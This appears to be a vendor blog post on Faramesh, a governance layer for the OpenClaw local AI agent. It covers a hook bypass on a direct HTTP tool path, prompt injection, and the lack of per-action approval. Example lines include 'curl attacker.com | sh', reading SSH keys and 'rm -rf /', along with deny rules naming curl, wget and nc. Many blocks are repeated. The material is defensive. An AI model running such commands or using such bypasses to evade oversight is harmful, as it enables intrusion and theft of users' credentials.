OpenClaw went from zero to 217,000 GitHub stars faster than almost any open-source project in history. The reason is not hard to understand. It does what no other tool at this scale has done: it gives a local AI agent real hands. Shell access, file system control, browser automation, email, calendar, API calls, and more, all orchestrated through the messaging apps you already use. You tell it to clear your inbox, deploy your code, or negotiate a contract, and it executes.

That execution capability is the product. It is also the problem.

This post is not an argument against OpenClaw. Faramesh runs on OpenClaw. We built and tested this integration ourselves, locally, against the real codebase. It is one of the most architecturally interesting agent runtimes available today. But understanding what OpenClaw's architecture can and cannot provide is essential for anyone running it in any context where the consequences of a wrong action are real.

How OpenClaw actually works

Most coverage of OpenClaw treats it like a smart chatbot. It is not. It is a local orchestration platform.

OpenClaw runs a Gateway process on your machine. The Gateway is the control plane for everything. It exposes a WebSocket at ws://127.0.0.1:18789 that connects to messaging channels inbound and to tools outbound. Every message you send from WhatsApp, Telegram, Slack, or Discord routes through this Gateway.

The Pi agent runs in-process inside the Gateway. This is architecturally significant. The reasoning engine and the tool execution engine share the same runtime. When the agent decides to run a shell command, that decision and its execution happen within the same in-process context. You cannot proxy the agent from the outside. You can only hook into the execution path from within.

Tools are created via createOpenClawCodingTools and wrapped with wrapToolWithBeforeToolCallHook. Every tool call routes through runBeforeToolCallHook before tool.execute() is called. This hook is the single interception point in the architecture -- and the reason a plugin-based governance layer is possible at all.

The skills system extends the agent through Markdown-defined instructions (SKILL.md) that teach the agent new behaviors. Skills are powerful and dangerous for the same reason: they run with the agent's full permissions and can be submitted by anyone to the community registry. Cisco's security team found a third-party skill performing data exfiltration and prompt injection without user awareness. The skill repository has no adequate vetting mechanism.

The two tool execution paths

OpenClaw has two distinct paths through which tools can be invoked. Most teams know only one of them.

Path 1: Agent-initiated execution. The agent reasons and generates a tool call. That call routes through runBeforeToolCallHook. Any registered hook fires before the tool runs. This is the governed path.

Path 2: Direct HTTP invocation. The Gateway exposes a direct tool invocation endpoint at the HTTP layer. Tools called through this path historically bypassed the hook system entirely. createOpenClawTools was called directly, executing tool.execute() without going through the hook wrapper.

Faramesh closes Path 2. The fix ensures runBeforeToolCallHook is called in the HTTP invoke handler before any tool executes. Without it, governance through Path 1 has a documented, reproducible bypass available on Path 2.

What OpenClaw provides natively for security

OpenClaw is not unaware of these concerns. The project has shipped meaningful security features, particularly after the Kaspersky audit that identified 512 vulnerabilities in early 2026. Understanding what it provides helps understand what it does not.

OpenClaw has tool allow and deny lists configurable at the agent level, a safe binaries allowlist for shell execution, Docker sandboxing per agent or session, group tool policies per sender identity, the before_tool_call hook for plugin-based interception, and openclaw doctor for surfacing risky configurations.

What all of these controls share: they are configuration-time decisions. The allow list is set when the agent is configured. The safe binaries list is defined at startup. Docker sandboxing is enabled or not at deployment. None of these controls evaluate an individual action instance at the moment it is proposed. They define a class of permitted actions in advance and apply that class definition uniformly at runtime.

OpenClaw native policy (class-level):
  bash: allowed tools = [ls, pwd, git, npm]

OpenClaw native policy (class-level):
  bash: allowed tools = [ls, pwd, git, npm]

OpenClaw native policy (class-level):
  bash: allowed tools = [ls, pwd, git, npm]

Class-level configuration is not the same as instance-level authorization. This distinction is the entire gap.

The five gaps

Gap 1: No human-in-the-loop approval workflow

OpenClaw has no native mechanism for pausing agent execution, surfacing a pending action to a human, waiting for a decision, and resuming or canceling based on that decision.

This is not a minor feature gap. It is the most requested capability from teams deploying OpenClaw in any serious context. The agent either runs autonomously or it does not run. There is no middle position where it runs autonomously for routine actions and pauses for human review on consequential ones.

Current OpenClaw for a consequential action:

Agent: "I will delete the old log files in /var/data"
System: [executes immediately]
User: [notified after, if at all]

What is needed:

Agent: "I want to delete files in /var/data"
System: [pauses, sends notification]
User: [sees the specific files, approves or denies]
Agent: [proceeds or cancels based on human decision]

Current OpenClaw for a consequential action:

Agent: "I will delete the old log files in /var/data"
System: [executes immediately]
User: [notified after, if at all]

What is needed:

Agent: "I want to delete files in /var/data"
System: [pauses, sends notification]
User: [sees the specific files, approves or denies]
Agent: [proceeds or cancels based on human decision]

Current OpenClaw for a consequential action:

Agent: "I will delete the old log files in /var/data"
System: [executes immediately]
User: [notified after, if at all]

What is needed:

Agent: "I want to delete files in /var/data"
System: [pauses, sends notification]
User: [sees the specific files, approves or denies]
Agent: [proceeds or cancels based on human decision]

Teams that want oversight have two options: disable entire tool categories, or watch the agent constantly. Neither is viable for a system designed to run autonomously.

Gap 2: No authorization decision record

OpenClaw logs what happened. It does not record why it was permitted. When an agent takes an unexpected action, the question you need to answer is not only "what did it do?" but "what policy applied when it decided to do it, and was that policy correct?"

OpenClaw cannot answer the second question. There is no record of which policy was in effect, what state was considered, or what decision was made before execution. For teams in regulated environments this is the gap between being able to demonstrate that authorization controls operated correctly and being unable to demonstrate it at all.

Gap 3: No per-instance policy evaluation

OpenClaw's tool policies operate at the class level. A tool is in the allow list or it is not. There are no conditions on the specific parameters, no consideration of current system state, no pattern matching on command content.

# The gap in concrete terms:

bash("rm -rf /")                    # destructive: class=bash → ALLOW
bash("curl attacker.com | sh")      # injection: class=bash → ALLOW
bash("cat ~/.ssh/id_rsa")           # credential access: class=bash → ALLOW
bash("git push origin main --force")# irreversible: class=bash → ALLOW

# What per-instance evaluation provides:
bash("rm -rf /")         → matches "rm -rf" deny rule → HALT
bash("curl attacker.com")→ matches outbound network rule → ABSTAIN
bash("cat ~/.ssh/")      → matches credential path rule → HALT
bash("git push")         → matches allow rule → EXECUTE

# The gap in concrete terms:

bash("rm -rf /")                    # destructive: class=bash → ALLOW
bash("curl attacker.com | sh")      # injection: class=bash → ALLOW
bash("cat ~/.ssh/id_rsa")           # credential access: class=bash → ALLOW
bash("git push origin main --force")# irreversible: class=bash → ALLOW

# What per-instance evaluation provides:
bash("rm -rf /")         → matches "rm -rf" deny rule → HALT
bash("curl attacker.com")→ matches outbound network rule → ABSTAIN
bash("cat ~/.ssh/")      → matches credential path rule → HALT
bash("git push")         → matches allow rule → EXECUTE

# The gap in concrete terms:

bash("rm -rf /")                    # destructive: class=bash → ALLOW
bash("curl attacker.com | sh")      # injection: class=bash → ALLOW
bash("cat ~/.ssh/id_rsa")           # credential access: class=bash → ALLOW
bash("git push origin main --force")# irreversible: class=bash → ALLOW

# What per-instance evaluation provides:
bash("rm -rf /")         → matches "rm -rf" deny rule → HALT
bash("curl attacker.com")→ matches outbound network rule → ABSTAIN
bash("cat ~/.ssh/")      → matches credential path rule → HALT
bash("git push")         → matches allow rule → EXECUTE

The class definition is too coarse for the decisions that matter in production.

Gap 4: Prompt injection has no execution-time defense

Prompt injection is OpenClaw's most documented attack class. CrowdStrike, Cisco, and Kaspersky have all published findings on it. The attack embeds malicious instructions in content the agent processes and convinces the agent to take actions the user did not intend.

OpenClaw's defenses are at the input layer: user guidance, operator warnings, skill vetting recommendations. These are useful. An injection that reaches the model and produces a tool call is not caught before the tool executes.

The correct defense at the execution layer is not preventing the injection. It is ensuring that even a successfully injected instruction cannot produce an unauthorized action.

The injection succeeded at the reasoning layer. It failed at the execution layer because the policy caught the proposed action regardless of how the agent was convinced to propose it.

Gap 5: Fail-open defaults

When OpenClaw encounters a tool call that does not match any explicit policy, the default is to allow. No matching rule means the action proceeds.

New tools added by skills, tools invoked through indirect paths, tools with names that do not match configured patterns - all proceed by default. The fail-open default is pragmatic for a personal assistant. It is the wrong default for an agent with access to production systems.

How Faramesh closes each gap

The hook

The integration registers Faramesh's evaluation function against OpenClaw's before_tool_call hook at priority 1000, the highest available ensuring it runs before any other hook on every tool call.

api.on("before_tool_call", async (event, ctx) => {
  const result = await faramesh.evaluate({
    tool:       event.toolName,
    params:     event.params,
    agentId:    ctx.agentId,
    sessionKey: ctx.sessionKey
  });

  if (result.blocked) {
    return { block: true, blockReason: result.reason };
  }

  return undefined; // allow
}, { priority: 1000 });

api.on("before_tool_call", async (event, ctx) => {
  const result = await faramesh.evaluate({
    tool:       event.toolName,
    params:     event.params,
    agentId:    ctx.agentId,
    sessionKey: ctx.sessionKey
  });

  if (result.blocked) {
    return { block: true, blockReason: result.reason };
  }

  return undefined; // allow
}, { priority: 1000 });

api.on("before_tool_call", async (event, ctx) => {
  const result = await faramesh.evaluate({
    tool:       event.toolName,
    params:     event.params,
    agentId:    ctx.agentId,
    sessionKey: ctx.sessionKey
  });

  if (result.blocked) {
    return { block: true, blockReason: result.reason };
  }

  return undefined; // allow
}, { priority: 1000 });

If Faramesh returns blocked, the tool never executes. If Faramesh is unreachable for any reason, the default is to block. Not to allow. Fail-closed.

Human approval workflow

When policy returns require_approval, execution pauses. Faramesh creates a pending action record and fires notifications through configured channels. The notification includes the full action detail: tool name, exact parameters, agent ID, risk level.

The human approves or denies from the dashboard, from Slack with inline buttons, or from the CLI:

# See what is pending
faramesh list

# Approve
faramesh approve act_8f3k2 --reason "Reviewed, safe to run"

# Deny
faramesh deny act_8f3k2 --reason "Wrong target directory"

# See what is pending
faramesh list

# Approve
faramesh approve act_8f3k2 --reason "Reviewed, safe to run"

# Deny
faramesh deny act_8f3k2 --reason "Wrong target directory"

# See what is pending
faramesh list

# Approve
faramesh approve act_8f3k2 --reason "Reviewed, safe to run"

# Deny
faramesh deny act_8f3k2 --reason "Wrong target directory"

The agent is paused mid-task. A human makes a decision. The task continues or stops based on that decision. The full interaction is recorded in the DPR chain before and after.

The Allow / Ask / Deny interface

Faramesh evaluates every action instance against a policy that operates at the parameter level. The interface for configuring this is three states per tool category.

Diagram:

┌────────────────────────────────────────────────────────────────┐
│  FARAMESH HORIZON — OpenClaw Policy                            │
│                                                                │
│  Shell / Bash        ○ Allow  ● Ask   ○ Deny                   │
│  File System         ○ Allow  ● Ask   ○ Deny                   │
│  Browser             ● Allow  ○ Ask   ○ Deny                   │
│  Network             ○ Allow  ● Ask   ○ Deny                   │
│  Canvas              ● Allow  ○ Ask   ○ Deny                   │
│  Other               ○ Allow  ○ Ask   ● Deny                   │
│                                                                │
│  [Advanced: edit raw policy YAML]              [Save Policy]

┌────────────────────────────────────────────────────────────────┐
│  FARAMESH HORIZON — OpenClaw Policy                            │
│                                                                │
│  Shell / Bash        ○ Allow  ● Ask   ○ Deny                   │
│  File System         ○ Allow  ● Ask   ○ Deny                   │
│  Browser             ● Allow  ○ Ask   ○ Deny                   │
│  Network             ○ Allow  ● Ask   ○ Deny                   │
│  Canvas              ● Allow  ○ Ask   ○ Deny                   │
│  Other               ○ Allow  ○ Ask   ● Deny                   │
│                                                                │
│  [Advanced: edit raw policy YAML]              [Save Policy]

┌────────────────────────────────────────────────────────────────┐
│  FARAMESH HORIZON — OpenClaw Policy                            │
│                                                                │
│  Shell / Bash        ○ Allow  ● Ask   ○ Deny                   │
│  File System         ○ Allow  ● Ask   ○ Deny                   │
│  Browser             ● Allow  ○ Ask   ○ Deny                   │
│  Network             ○ Allow  ● Ask   ○ Deny                   │
│  Canvas              ● Allow  ○ Ask   ○ Deny                   │
│  Other               ○ Allow  ○ Ask   ● Deny                   │
│                                                                │
│  [Advanced: edit raw policy YAML]              [Save Policy]

For teams that need finer control, the underlying YAML policy supports per-pattern rules evaluated against the actual command content:

rules:
  - match:
      tool: bash
      params:
        command: "rm -rf|drop|shutdown|reboot|mkfs"
    deny: true
    reason: "Destructive commands blocked"

  - match:
      tool: bash
      params:
        command: "curl|wget|nc "
    require_approval: true
    risk: high
    reason: "Outbound network from shell requires approval"

  - match:
      tool: bash
    require_approval: true
    reason: "All other shell commands require approval"

  - match:
      tool: filesystem
      op: write
      params:
        path: ".*\\.env$|.*\\.pem$|.*\\.key$"
    deny: true
    reason: "Writes to credential files blocked"

  - match:
      tool: filesystem
      op: delete
    require_approval: true
    risk: medium
    reason: "File deletion requires approval"

rules:
  - match:
      tool: bash
      params:
        command: "rm -rf|drop|shutdown|reboot|mkfs"
    deny: true
    reason: "Destructive commands blocked"

  - match:
      tool: bash
      params:
        command: "curl|wget|nc "
    require_approval: true
    risk: high
    reason: "Outbound network from shell requires approval"

  - match:
      tool: bash
    require_approval: true
    reason: "All other shell commands require approval"

  - match:
      tool: filesystem
      op: write
      params:
        path: ".*\\.env$|.*\\.pem$|.*\\.key$"
    deny: true
    reason: "Writes to credential files blocked"

  - match:
      tool: filesystem
      op: delete
    require_approval: true
    risk: medium
    reason: "File deletion requires approval"

rules:
  - match:
      tool: bash
      params:
        command: "rm -rf|drop|shutdown|reboot|mkfs"
    deny: true
    reason: "Destructive commands blocked"

  - match:
      tool: bash
      params:
        command: "curl|wget|nc "
    require_approval: true
    risk: high
    reason: "Outbound network from shell requires approval"

  - match:
      tool: bash
    require_approval: true
    reason: "All other shell commands require approval"

  - match:
      tool: filesystem
      op: write
      params:
        path: ".*\\.env$|.*\\.pem$|.*\\.key$"
    deny: true
    reason: "Writes to credential files blocked"

  - match:
      tool: filesystem
      op: delete
    require_approval: true
    risk: medium
    reason: "File deletion requires approval"

The audit trail

Every action evaluated by Faramesh produces a Decision Provenance Record before execution. Not a log of what executed -- a cryptographic record of what was evaluated, what policy applied, and what decision was made.

{
  "provenance_id": "dpr_c7d8f2...",
  "seq": 1847,
  "tool": "bash",
  "operation": "run",
  "request_hash": "sha256:a4f2...",
  "policy_hash":  "sha256:9e1c...",
  "decision": "ABSTAIN",
  "risk_level": "high",
  "reason": "Outbound network from shell requires approval",
  "created_at": "2026-02-21T14:32:06Z",
  "prev_hash":   "sha256:3d9f...",
  "record_hash": "sha256:8a2e..."
}

{
  "provenance_id": "dpr_c7d8f2...",
  "seq": 1847,
  "tool": "bash",
  "operation": "run",
  "request_hash": "sha256:a4f2...",
  "policy_hash":  "sha256:9e1c...",
  "decision": "ABSTAIN",
  "risk_level": "high",
  "reason": "Outbound network from shell requires approval",
  "created_at": "2026-02-21T14:32:06Z",
  "prev_hash":   "sha256:3d9f...",
  "record_hash": "sha256:8a2e..."
}

{
  "provenance_id": "dpr_c7d8f2...",
  "seq": 1847,
  "tool": "bash",
  "operation": "run",
  "request_hash": "sha256:a4f2...",
  "policy_hash":  "sha256:9e1c...",
  "decision": "ABSTAIN",
  "risk_level": "high",
  "reason": "Outbound network from shell requires approval",
  "created_at": "2026-02-21T14:32:06Z",
  "prev_hash":   "sha256:3d9f...",
  "record_hash": "sha256:8a2e..."
}

The chain is hash-linked. Modifying any record breaks the chain forward. Deleting any record breaks the chain at that point. The record exists before any tool runs.

Fail-closed

If Faramesh is unreachable for any reason, the plugin blocks the tool call:

async function checkFaramesh(toolName, params, ctx) {
  try {
    const response = await fetch(`${baseUrl}/v1/actions`, {
      method: "POST",
      body: JSON.stringify({ tool: toolName, params, agent_id: ctx.agentId }),
      signal: AbortSignal.timeout(timeoutMs)
    });
    return await response.json();
  } catch (error) {
    // Faramesh unreachable: block the tool call
    return {
      blocked: true,
      reason: `Faramesh unreachable (fail-closed): ${error.message}`
    };
  }
}

async function checkFaramesh(toolName, params, ctx) {
  try {
    const response = await fetch(`${baseUrl}/v1/actions`, {
      method: "POST",
      body: JSON.stringify({ tool: toolName, params, agent_id: ctx.agentId }),
      signal: AbortSignal.timeout(timeoutMs)
    });
    return await response.json();
  } catch (error) {
    // Faramesh unreachable: block the tool call
    return {
      blocked: true,
      reason: `Faramesh unreachable (fail-closed): ${error.message}`
    };
  }
}

async function checkFaramesh(toolName, params, ctx) {
  try {
    const response = await fetch(`${baseUrl}/v1/actions`, {
      method: "POST",
      body: JSON.stringify({ tool: toolName, params, agent_id: ctx.agentId }),
      signal: AbortSignal.timeout(timeoutMs)
    });
    return await response.json();
  } catch (error) {
    // Faramesh unreachable: block the tool call
    return {
      blocked: true,
      reason: `Faramesh unreachable (fail-closed): ${error.message}`
    };
  }
}

The agent cannot execute in an ungoverned state. Governance unavailability degrades availability, not security.

Installing Faramesh on OpenClaw

Single command install:

Start the Faramesh server:

Set your initial policy:

# Set bash to Ask
faramesh policy set bash ask

# Set filesystem to Ask
faramesh policy set filesystem ask

# Set browser to Allow
faramesh policy set browser allow

# Or via the API directly
curl -X PUT http://127.0.0.1:8000/v1/policies/simple \
  -H "Content-Type: application/json" \
  -H "X-Tenant-ID: demo" \
  -d '{"categories":{"bash":"ask","filesystem":"ask","browser":"allow","network":"ask","canvas":"allow","other":"deny"}}'

# Set bash to Ask
faramesh policy set bash ask

# Set filesystem to Ask
faramesh policy set filesystem ask

# Set browser to Allow
faramesh policy set browser allow

# Or via the API directly
curl -X PUT http://127.0.0.1:8000/v1/policies/simple \
  -H "Content-Type: application/json" \
  -H "X-Tenant-ID: demo" \
  -d '{"categories":{"bash":"ask","filesystem":"ask","browser":"allow","network":"ask","canvas":"allow","other":"deny"}}'

# Set bash to Ask
faramesh policy set bash ask

# Set filesystem to Ask
faramesh policy set filesystem ask

# Set browser to Allow
faramesh policy set browser allow

# Or via the API directly
curl -X PUT http://127.0.0.1:8000/v1/policies/simple \
  -H "Content-Type: application/json" \
  -H "X-Tenant-ID: demo" \
  -d '{"categories":{"bash":"ask","filesystem":"ask","browser":"allow","network":"ask","canvas":"allow","other":"deny"}}'

Open the dashboard:

Every tool call your OpenClaw agent makes from this point routes through Faramesh before executing. The dashboard shows every action in real time, every pending approval, every blocked action, and the full DPR chain.

What the combination looks like in practice

You have OpenClaw running, connected to your shell, file system, and email. You ask it to clean up old log files and send you a summary.

Without Faramesh:

With Faramesh (bash=Ask, email=Allow):

The task takes longer. Every consequential step is visible before it runs. The destructive command is blocked by policy. The record covers the entire session, every decision, tamper-evident.

What OpenClaw and Faramesh provide together

OpenClaw provides the runtime. Faramesh provides the governance layer. OpenClaw without Faramesh is a capable autonomous agent with no authorization boundary. Faramesh without OpenClaw has nothing to govern.

The combination is what a production-grade OpenClaw deployment looks like. Not theoretical. We ran it ourselves to build this integration. The hook works. The fail-closed default works. The approval workflow works. The DPR chain works. The HTTP invoke bypass is closed.

If you are running OpenClaw in any environment where the consequences of a wrong action are real, this is the setup.